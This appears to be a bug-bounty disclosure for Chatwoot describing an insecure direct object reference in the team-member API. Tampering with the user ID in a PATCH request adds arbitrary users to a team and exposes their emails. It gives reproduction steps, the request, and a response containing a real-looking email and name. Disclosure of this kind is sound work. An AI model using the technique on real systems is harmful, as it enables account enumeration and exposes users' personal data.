Description

A Vulnerability in edit team function lead an user add another user via ID to Team, alternatively know the email of every user in Chatwoot

#Step to reproduce

• login to the app -navigate to the Team setting: https://app.chatwoot.com/app/accounts/{id}/settings/teams/list -Create new or edit team -Add agent -> intercept request -modify userid, the response is the email of this user -add succesfullly

Proof of Concept

api: https://app.chatwoot.com/api/v1/accounts/{account.id}/teams/{team_id}/team_members
request body: {"user_ids":[68250]}
method PATCH

Response
[{"id":68250,"account_id":74402,"availability_status":null,"auto_offline":null,"confirmed":false,"email":"amethyst.craft.id@gmail.com","available_name":"Andhra","name":"Andhra","role":null,"thumbnail":""}]

Impact

-add arbitrary users via ID to Team -know every user email in chatwoot